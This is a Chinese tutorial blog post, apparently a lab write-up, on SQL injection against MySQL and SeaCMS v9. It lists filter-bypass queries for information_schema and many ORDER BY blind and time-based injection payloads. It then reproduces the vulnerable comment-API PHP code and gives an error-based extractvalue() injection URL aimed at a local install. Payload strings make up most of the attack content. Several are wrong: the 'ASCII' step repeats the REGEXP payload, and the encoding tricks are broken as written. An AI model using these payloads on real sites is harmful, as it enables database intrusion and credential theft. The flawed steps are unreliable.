当前位置: 首页 > news >正文

seacmsv9报错注入管理员密码+orderby+limit

一、绕过过滤information_schema

1. 替代系统表或视图

如果 information_schema 被直接过滤,可以使用其他系统表或视图来获取元数据。

(1) 使用 mysql 数据库

获取所有表名
SELECT table_name FROM sys.schema_auto_increment_columns WHERE table_schema = DATABASE();
 
获取所有列名
SELECT table_name, column_name FROM sys.schema_columns WHERE table_schema = DATABASE();

(2) 使用 mysql.innodb_table_stats

获取表名
SELECT table_name FROM mysql.innodb_table_stats WHERE database_name = DATABASE();

2.编码混淆绕过
(1) URL 编码

将 information_schema 转换为 URL 编码:
SELECT table_name FROM %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61.tables WHERE table_schema=DATABASE();

(2) Unicode 编码

SELECT table_name FROM information\u005f_schema.tables WHERE table_schema=DATABASE();

(3) 十六进制编码

SELECT table_name FROM 0x696e666f726d6174696f6e5f736368656d61.tables WHERE table_schema=DATABASE();

3. 内联注释绕过

利用 MySQL 的 /*!*/ 注释分割关键词:

SELECT table_name FROM /*!information_schema*/.tables WHERE table_schema=DATABASE();

4. 关键字分割

通过空格、换行符或特殊字符分割 information_schema:

SELECT table_name FROM information/**/_schema.tables WHERE table_schema=DATABASE();

二、绕过过滤Order by

1. 使用 UNION SELECT 绕过

如果 ORDER BY 被过滤,可以尝试通过 UNION SELECT 注入数据。

1' UNION SELECT 1,2,3 --

确保 UNION SELECT 的列数与原查询一致。

通过 UNION SELECT 提取数据,例如表名、列名等。

2. 使用 CASE WHEN 盲注

通过 CASE WHEN 构造布尔条件,实现盲注。

ORDER BY (CASE WHEN (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a' THEN SLEEP(5) ELSE 1 END);

3. 使用 IF 函数

通过 IF 函数构造条件,实现盲注。

布尔盲注

ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',1,2);

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

时间盲注

ORDER BY IF((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a',SLEEP(5),1);

4. 使用 FIELD 函数

通过 FIELD 函数构造条件,实现盲注

ORDER BY FIELD((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),'a',1,2);

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

5. 使用 REGEXP 正则表达式

通过 REGEXP 构造条件,实现盲注。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) REGEXP '^a';

如果表名的第一个字符是 a,则按 1 排序;否则按 2 排序。

6. 使用 ASCII 函数

通过 ASCII 函数逐字符判断,实现盲注。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) REGEXP '^a';

如果表名的第一个字符的 ASCII 码是 97(即 a),则按 1 排序;否则按 2 排序。

7. 使用 LIMIT 和 OFFSET

通过 LIMIT 和 OFFSET 逐行提取数据。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0);

提取第一行的表名。

8. 使用 GROUP BY 和 HAVING

通过 GROUP BY 和 HAVING 构造条件,实现盲注。

GROUP BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) HAVING 1=1;

提取表名并分组。

9. 使用 JOIN 子查询

通过 JOIN 子查询提取数据。

ORDER BY (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1);

提取表名并排序。

10. 使用 UNION 和 SELECT 子查询

通过 UNION 和 SELECT 子查询提取数据。

1' UNION SELECT 1,2,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1) --

提取表名并注入到查询结果中。

三、seacmsv9实现报错注入数据

后端代码

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	
 
 
function ReadData($id,$page)
{
	global $type,$pCount,$rlist;
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}
 
function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}
 
function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}
 
function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}
 
function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}
 
function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

sql语句报错注入

http://127.0.0.1/upload9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

gid=1:内容ID(数值型参数)。

page=2:分页参数。

extractvalue():MySQL XML处理函数,用于触发错误。

concat_ws():用分隔符连接字符串,0x20是空格,0x5c是反斜杠\。

select user():获取当前数据库用户。

注入最终没有找到管理员账号密码

相关文章:

  • Django下防御Race Condition
  • 【时间序列】因果推断:从时序数据中探寻“因”与“果”
  • GStreamer —— 2.9、Windows下Qt加载GStreamer库后运行 - “教程9:媒体信息收集“(附:完整源码)
  • WebSocket(WS)协议系列(四)SSL/TLS协议
  • flask学习3-深入
  • ConcurrentHashMap底层原理
  • RK3588部署YOLOv8(2):OpenCV和RGA实现模型前处理对比
  • 网络安全需要报班学习吗?
  • 重塑未来:生成式AI如何重构企业数据基因?三大技术重构的生死局
  • Paper Reading | AI 数据库融合经典论文回顾
  • ‌HTTP/1.0、HTTP/2.0和HTTP/3.0的区别
  • Pytest自动化框架
  • 深入理解 JavaScript 执行上下文
  • 【LTSPCIE】D触发器的搜索和使用
  • K8S高可用Web应用部署方案
  • Docker网络设置
  • java遍历
  • qt小项目,简单的音乐播放器
  • PyTorch深度学习框架60天进阶学习计划第13天:模型保存与部署
  • CogView: 基于Transformer的通用领域文本到图像生成
  • seo诊断书/最优化方法
  • 做原油看哪个网站/最近新闻小学生摘抄
  • 湖州市建设中心网站/品牌运营公司
  • 网站js修改头像代码/网站备案查询官网
  • 天津市企业网站设计公司/网络促销策略
  • 网站建设与制作德州/运营培训班有用吗